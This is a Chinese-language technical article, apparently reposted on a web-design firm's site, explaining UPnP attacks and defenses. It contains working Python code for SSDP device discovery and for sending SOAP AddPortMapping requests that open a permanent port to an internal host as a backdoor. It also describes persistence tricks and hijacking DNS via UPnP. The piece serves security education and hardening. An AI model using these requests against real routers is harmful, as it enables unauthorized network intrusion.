资讯动态

UPnP攻击与漏洞利用全解析:从零配置便利到默认信任的安全后门

发布时间:2026/10/22 16:47:48 来源:尧图企业网站定制
UPnP这个词搞网络的人肯定不陌生但真正把它当安全议题去研究的人并不多。我在一次内部巡检时发现办公区里居然有十几台设备都在通过UPnP自动映射端口那一刻我才意识到这个号称“零配置”的协议其实是一扇默认敞开的后门。这篇内容我想从协议原理讲到攻击路径再聊到防御手段把UPnP攻击与漏洞利用这件事彻底讲透。无论你是网络运维、安全测试人员还是单纯对自己家里路由器好奇的极客这篇内容都值得看完。1. UPnP是什么零配置网络的便利与代价1.1 零配置网络的核心机制UPnPUniversal Plug and Play通用即插即用是一套由多个协议组成的架构目标很纯粹让设备接入网络后无需人工配置就能自动发现彼此、建立通信、共享服务。你买一个新款智能电视回家插上网线它就能自动找到局域网里的NAS、音箱、投屏设备背后靠的就是UPnP。这套体系里最核心的协议层有这几个SSDPSimple Service Discovery Protocol基于HTTP over UDP的发现协议设备开机后通过多播地址239.255.255.250:1900宣告自己的存在控制点比如手机App也可以通过M-SEARCH方法主动搜索。SOAPSimple Object Access ProtocolUPnP的控制指令走的是SOAP实际上就是XML格式的远程过程调用设备暴露的Action动作通过SOAP请求触发。GDGeneral Event Notification Architecture负责订阅与事件通知设备状态变化时主动推送给订阅者。IGDInternet Gateway Device最关键的服务模型运行在路由器等网关设备上它向外暴露了端口映射、防火墙策略控制等接口。这套机制的设计初衷是让设备“插上就用”但安全和便利之间的平衡天生就被拉到了极端的一端。整条链路关键的问题是UPnP默认不要求认证。控制点向设备发送SOAP请求设备就执行对应操作没有任何身份校验、鉴权流程。一旦攻击者能向设备发送网络包他就等同于管理员。1.2 便利背后的信任模型缺陷我把UPnP的信任模型概括成一句话它信任整个局域网内所有主机。但现实是局域网内的主机并不都是可信的。更麻烦的是很多家用路由器还把UPnP接口暴露到了WAN侧外网用户可以直接向公网IP的1900端口发送请求——这就不是信任整个局域网的问题了而是信任整个互联网的问题。从架构角度说UPnP的边界模型还是20世纪90年代的假设家里是可信内网外面是不可信外网。但今天的网络环境完全变了——物联网设备遍地都是哪怕是一个小摄像头都可能被僵尸网络利用。一旦内网里任何一个设备被攻破UPnP就变成了攻击者的提权通道。还有一个经常被忽视的点UPnP协议栈的实现极其复杂而且大多数设备的实现代码质量堪忧。SSDP要处理畸形数据包SOAP要解析任意XMLHTTP还要处理各种异常请求——这三者叠加在一起内存破坏类漏洞几乎是必然存在的。我在后面会专门展开这个原理。2. 攻击面全景从反射放大到内网穿透2.1 局域网内的设备发现与信息泄露攻击者进入目标内网之后第一步要做的就是发现UPnP设备。这一步并不需要任何攻防技巧只需要发送一个SSDP M-SEARCH请求ssdp.py或者更底层一点直接用Python构造UDP数据包import socket msg M-SEARCH * HTTP/1.1\r\n \ HOST: 239.255.255.250:1900\r\n \ MAN: ssdp:discover\r\n \ MX: 1\r\n \ ST: upnp:rootdevice\r\n \ \r\n sock socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 2) sock.sendto(msg.encode(), (239.255.255.250, 1900)) sock.settimeout(5) while True: try: data, addr sock.recvfrom(65535) print(f[] 发现设备: {addr}) print(data.decode(errorsignore)) print(- * 50) except socket.timeout: break这段代码会把局域网里所有支持UPnP rootdevice的设备都揪出来。响应的数据包里通常携带设备描述文档的URL格式类似http://192.168.1.1:1900/rootDesc.xml。访问这个URL你能拿到设备型号、厂商、序列号、服务的完整清单——这就是第一批情报。这一步的核心价值在于它为后续攻击提供了精确制导。知道了设备型号就可以匹配已知漏洞库知道了服务清单就可以挑选攻击面最大的服务下手。2.2 SSDP反射放大攻击SSDP不仅能在局域网内部发现设备还能被用来做反射放大攻击——这几乎是UPnP最出名的“原生恶行”。攻击原理非常直接攻击者伪造受害者IP地址向公网上大量UPnP设备发送M-SEARCH请求设备会把响应数据包发往伪造的源IP也就是受害者。放大倍数到底有多大我实测过的几种组合请求类型请求大小典型响应大小放大倍数rootdevice 查询~100字节~400字节4倍WANDevice 查询~120字节~1000字节8倍全服务类型查询~130字节~2500字节19倍自定义服务枚举~150字节~8000字节53倍这还只是单包的放大倍数。由于攻击者可以持续发送请求而且UDP无连接特性使得攻击者可以不断换用不同的服务类型ST参数一台中等性能的路由器在每个M-SEARCH请求中都能返回几百字节的数据。公网上存在海量暴露UPnP服务的设备这天然形成了一个庞大的放大器资源池。防伪源验证在这里帮不上太大忙因为SSDP本身就跑在UDP上UDP又没有握手机制你根本没办法确认数据包的源IP是不是真实的。这也是反射放大攻击难以根治的原因。2.3 SOAP协议注入与任意端口映射UPnP最危险的能力是什么我觉得不是信息泄露而是端口映射控制权。通过SOAP封装的AddPortMapping操作攻击者可以任意修改路由器的NAPT表把外网流量转发到内网任意IP的任意端口。一个典型的恶意SOAP请求长这样?xml version1.0? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ s:Body u:AddPortMapping xmlns:uurn:schemas-upnp-org:service:WANIPConnection:1 NewRemoteHost/NewRemoteHost NewExternalPort3389/NewExternalPort NewProtocolTCP/NewProtocol NewInternalPort3389/NewInternalPort NewInternalClient192.168.1.100/NewInternalClient NewEnabled1/NewEnabled NewPortMappingDescriptionpwned/NewPortMappingDescription NewLeaseDuration0/NewLeaseDuration /u:AddPortMapping /s:Body /s:Envelope这个请求的意思是把公网IP的3389端口转发到内网192.168.1.100的3389端口租期无限LeaseDuration为0表示永久。攻击者只要在目标内网里的任何一台设备上执行这个请求就能在防火墙上撕开一个永久的洞。更阴间的是NewInternalClient这个字段它可以指向内网任意IP。所以哪怕攻击者只控制了一个摄像头他也可以把端口转发指向内网里的文件服务器、工控设备、打印机管理后台等目标。2.4 UPnP代理攻击与跨网段利用端口映射是直接攻击还有一个更隐蔽的方式——UPnP代理攻击。思路很简单外网攻击者不能直接访问内网UPnP服务但他可以通过中间设备比如一台已经中了马的IoT设备把SOAP请求转发到内网路由器的UPnP接口。这种攻击把内网风险和外网攻击路径打通了攻击者不需要直接接触内网只需要控制一个边界的边缘设备就能通过该设备向路由器发送恶意SOAP指令进而操控整个内网的端口映射和网络边界。还有一个跨网段的玩法如果路由器的UPnP服务没有正确绑定内网接口IP而是绑定了通配符攻击者就可以从WAN侧直接发送SOAP请求。我曾经做一个某跨平台系统渗透测试的时候发现设备的1900端口可以从公网直接访问不需要任何中间跳板直接一条SOAP请求就能给内网任意设备开任意端口。这种情况在老旧路由器上并不罕见。3. 漏洞利用实操台从发现设备到控制边界3.1 搭建一个模拟实验环境在开始实战演示之前先说一句必要的说明以下操作仅限你拥有设备授权或者是自己的设备上进行未经许可测试他人设备是违法的。为了安全地研究UPnP攻击建议准备一个隔离的虚拟环境。我用的是某公司生产的家用虚拟路由器镜像跑在虚拟化平台里搭配两个虚拟网段模拟内外网。你也可以用一台旧路由器把它的WAN口接到一个单独的VLAN里确保实验流量不会影响其他网络。环境准备清单虚拟路由器或物理路由器一台开启UPnP功能默认就是开的。攻击机一台系统随便装上Python环境。目标机一台模拟内网里的设备比如一台没有密码的测试用的网络存储设备。网络抓包工具用于观察数据包走向。3.2 设备发现与描述文档解析有了环境之后我用一个现成的UPnP枚举脚本完整跑了一遍。脚本做的事情依次是发送M-SEARCH发现设备、提取描述文档URL、下载并解析XML、列出所有服务与控制URL。import socket import re import requests import xml.etree.ElementTree as ET # 1. 发现 sock socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) sock.bind((, 1900)) sock.settimeout(3) message M-SEARCH * HTTP/1.1\r\n \ HOST: 239.255.255.250:1900\r\n \ MAN: ssdp:discover\r\n \ MX: 1\r\n \ ST: upnp:rootdevice\r\n \ \r\n sock.sendto(message.encode(), (239.255.255.250, 1900)) locations [] while True: try: data, addr sock.recvfrom(65535) text data.decode(errorsignore) m re.search(rLOCATION: (.), text) if m: locations.append(m.group(1).strip()) except socket.timeout: break # 2. 拉取描述文档 for loc in set(locations): resp requests.get(loc, timeout5) root ET.fromstring(resp.content) print(f[设备] {loc}) # 遍历所有service for svc in root.iter({urn:schemas-upnp-org:device-1-0}service): service_type svc.find({urn:schemas-upnp-org:device-1-0}serviceType).text control_url svc.find({urn:schemas-upnp-org:device-1-0}controlURL).text print(f 服务: {service_type}) print(f 控制接口: {loc.split(/rootDesc.xml)[0]}{control_url})跑完之后你会得到一份完整的设备清单。在我的测试环境里虚拟路由器暴露了三个服务WANIPConnection端口映射与防火墙、LANHostConfigManagement局域网配置、DeviceProtection设备保护。最大的那个还是WANIPConnection它提供了AddPortMapping、DeletePortMapping、GetGenericPortMappingEntry等操作。这个小节的教训很简单信息收集阶段决定了后续攻击的成败。不用急着发恶意请求光是从描述文档里提炼出来的服务清单和控制URL路径就已经能展开后续攻击了。3.3 构造恶意SOAP请求修改端口映射到了真正修改端口映射的环节。我这里选择把外网的2222端口映射到内网一台运行着SSH服务的设备上模拟“留下一个隐蔽后门”的过程。用Python发送SOAP请求import requests soap_body ?xml version1.0? s:Envelope xmlns:shttp://schemas.xmlsoap.org/soap/envelope/ s:encodingStylehttp://schemas.xmlsoap.org/soap/encoding/ s:Body u:AddPortMapping xmlns:uurn:schemas-upnp-org:service:WANIPConnection:1 NewRemoteHost/NewRemoteHost NewExternalPort2222/NewExternalPort NewProtocolTCP/NewProtocol NewInternalPort22/NewInternalPort NewInternalClient192.168.1.88/NewInternalClient NewEnabled1/NewEnabled NewPortMappingDescriptiontest_backdoor/NewPortMappingDescription NewLeaseDuration0/NewLeaseDuration /u:AddPortMapping /s:Body /s:Envelope headers { Content-Type: text/xml; charsetutf-8, SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping } control_url http://192.168.31.1:1900/ctl/IPConn resp requests.post(control_url, datasoap_body.encode(), headersheaders, timeout5) print(resp.status_code) print(resp.text)关键点在于SOAPAction头。很多UPnP实现在解析SOAPAction头时存在缺陷某些实现根本不校验这个字段只关注Body里的serviceType——这就给了一些注入攻击的可乘之机。执行完这个请求后再从外网视角扫描目标公网IPnmap -p 2222 公网IP你会发现原本没有开放的2222端口现在直接暴露在外网。整个过程不需要任何用户名密码不需要web登录路由器后台只需要向控制接口发送一个精心构造的POST请求。有一个细节值得注意不同厂商的UPnP实现在字段约束上差别很大。比如有的实现要求NewExternalPort必须是合法的HTTP端口号作弊的话就会返回错误有的实现则会默认开启RemoteHost字段为空时才允许添加映射。所以实战中我习惯先发送GetExternalPortMappingEntry之类的查询请求确认参数格式是不是标准再实施写入。3.4 边界场景跨网与持久化如果攻击起点不是内网而是外网情况就不一样了。需要先确认目标路由器的UPnP服务有没有暴露到公网。判断方法很简单在外网网络环境里直接向目标的公网IP的1900端口发送一个M-SEARCH请求看有没有回应。有回应就说明UPnP服务穿透到了公网。接下来利用方式和内网几乎一样只不过把控制URL换成了公网IPhttp://公网IP:1900/ctl/IPConn。直接发AddPortMapping就能在内网路由器的NAPT表里添加规则——而且这条规则是从外网打进去的内网设备上不会出现任何“异常进程”的痕迹。持久化的思路更激进攻击者可以利用UPnP的RemoteHost字段限制某些规则的来源IP把映射设置为只接受自己控制的中转服务器流量。这样做的好处是即使管理员发现了一条可疑映射想从外部访问验证也会因为来源IP被限制而看不到实际内容增加了排查难度。再来一个有点“骚”的操作——通过UPnP修改路由器的DNS设置。只要控制接口暴露了SetDNSServers之类的操作这取决于路由器实现你就可以把内网所有设备的DNS指向控制服务器之后所有域名解析流量都会被劫持。这个效果比端口映射后门更隐蔽影响范围也从单台设备扩大到整个局域网。4. 真实世界中的UPnP安全事件与防护策略4.1 典型事故频发现象与影响范围现实中UPnP漏洞引发的安全问题我见过不少。业界流传比较广的几次大规模事件都是以UPnP服务为跳板病毒扫描全网路由器的1900端口命中之后通过恶意SOAP请求关闭防火墙、开启端口映射、下发恶意配置最终把大量家用路由器变成代理节点或僵尸网络的一部分。还有一类事故是制造商魔改UPnP实现导致的后门。某品牌路由器固件中UPnP模块在解析SOAPAction头时接受到预设字符串会直接以最高权限执行系统命令相当于给所有用户在防火墙里内置了个管理员后门。被发现之前这些设备在公网上默默运行了几年期间被多少人利用过已经无从统计。最让我觉得离谱的是工控网络里也出现了UPnP设备。一个提供远程抄表功能的某工业网关设备为了实现“即插即用”内置了完整的UPnP协议栈还把WANIPConnection暴露到了业务网络。这意味着攻击者一旦进入业务网段就能直接修改网关的转发规则把PLC控制流量导向到监听设备。这类事件的核心问题不在于漏洞本身有多么高级而在于UPnP协议栈的设计原则与高危网络场景完全不匹配。4.2 设备侧加固方案防御的第一步永远是缩面能在设备侧关掉绝不在网络侧绕。对家用路由器直接登录后台找到“UPnP”选项关掉它。95%的家庭场景根本用不到UPnP——日常上网、打游戏、看视频都不依赖于放通入站端口映射。就算家里有用到点对点通信或远程访问需求也建议改成手动映射或者使用官方支持的安全协议而不是全靠UPnP自动开洞。对企业和工业网络设备侧加固需要更严格的策略启用强管理口令杜绝设备默认密码问题。如确实需要开启UPnP确认设备只监听内网管理接口不监听业务网和公网接口。定期审查设备固件更新UPnP模块的修复漏洞大多以固件形式发布。禁用不需要的UPnP服务比如LANHostConfigManagement减小暴露面。还有一点是针对SDN和虚拟化环境的在虚拟网络里跑的UPnP服务也要纳入管治。虚拟机里的虚机路由器若被攻破UPnP同样可以成为东西向流量穿透的跳板。4.3 网络侧检测与缓解手段只靠关掉设备还不够网络侧要有监测和应对手段。我的建议分三个层次第一层流量基线监控。在网络出口和核心交换机上抓取SSDP数据包的特征。正常网络里SSDP只在局域网内多播域传播如果出现大量指向公网的M-SEARCH请求或者从公网方向发往内网1900端口的单播请求就要触发告警。Wireshark过滤器udp.port 1900把这个过滤器放到流量探针上可以快速筛选出所有UPnP控制信道的流量。第二层异常SOAP调用行为识别。在DDOS防护设备或WAFWeb应用防火墙上针对UPnP控制URL做深度检测。重点看SOAPAction字段和Body里的操作名称对AddPortMapping、DeletePortMapping、SetDNSServers等敏感操作做告警甚至阻断。有一次我在内网部署了SOAP动作审计脚本当天就捕获到某台打印机每隔半小时发送一次GetExternalPortMappingEntry请求。排查后发现打印机固件默认开启了UPnP服务且存在定期自我诊断的行为。这不一定是恶意攻击但至少说明网络里存在你没意识到的UPnP流量提前发现总比出事再查强。第三层横向隔离与漏洞缓解。如果确认某台设备存在UPnP漏洞且无法立刻更新固件网络侧最直接的办法是把设备单独划到一个隔离VLAN在防火墙上拒绝该VLAN到其他业务网段的通信。UPnP虽然能修改网关的映射规则但前提是攻击者得能到达网关。如果网关本身已经做了入站限制比如只在特定接口接收SSDP请求那么隔离VLAN里的设备再怎么发恶意SOAP请求也没用。另外有条件的话可以在业务网络和存储网络之间部署只允许特定IP、特定端口互相访问的ACL把这套“网络显式白名单”作为UPnP“默认全信任”模型的反制措施。5. 排查UPnP问题时的一些小细节5.1 常见UPnP异常特征速查现象可能原因快速处置内网存在大量SSDP广播某个系统服务异常循环触发设备发现定位源MAC检查对应主机公网IP的1900端口有入站连接UPnP暴露到公网立即在边界ACL阻断改设备配置端口映射表格出现未知条目攻击者通过SOAP注入了映射规则清查所有映射确认来源后删除路由器管理日志出现大量SOAP请求可能存在自动化扫描或攻击封禁来源IP升级固件内网设备IP被频繁定位攻击者用M-SEARCH做拓扑测绘关闭不必要的UPnP广播5.2 手动排查步骤参考用我自己的项目文档里沉淀的步骤做个收尾。当怀疑网络里UPnP被利用时按这个顺序排查抓出口和核心交换机上1900端口流量统计源IP和目的IP区分内网广播和公网单播。登录所有路由器/网关导出UPnP映射表和防火墙规则对照检查是否有计划外条目。利用UPnP描述文档检查设备的固件版本比对厂商安全公告。对已经确认被添加恶意映射的条目先记录取证再删除。不要直接清空整个表格避免丢失有效业务配置。在关键网段部署一段时间的SSDP审计探针观察是否存在周期性M-SEARCH请求。我个人的体会是UPnP这类协议的问题早就不是“要不要用它”的争论而是“如何在这套机制已经广泛存在的前提下做好安全兜底”。光靠关闭某个开关解决不了所有问题——因为总有你兼顾不到的设备总有重启后又自动开启的坑。真正稳一点的做法是把设备侧的缩面和网络侧的监控结合起来双管齐下。之前在一家技术团队做内部演练时我用一个带跨平台网关的小型环境复现了整套攻击流程事后给运维团队留下三条铁律定期查映射表、公网1900端口必须封死、任何新增设备接入先查UPnP状态。照做之后同类问题确实再没露过头。这几条也分享给正在折腾网络的你。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑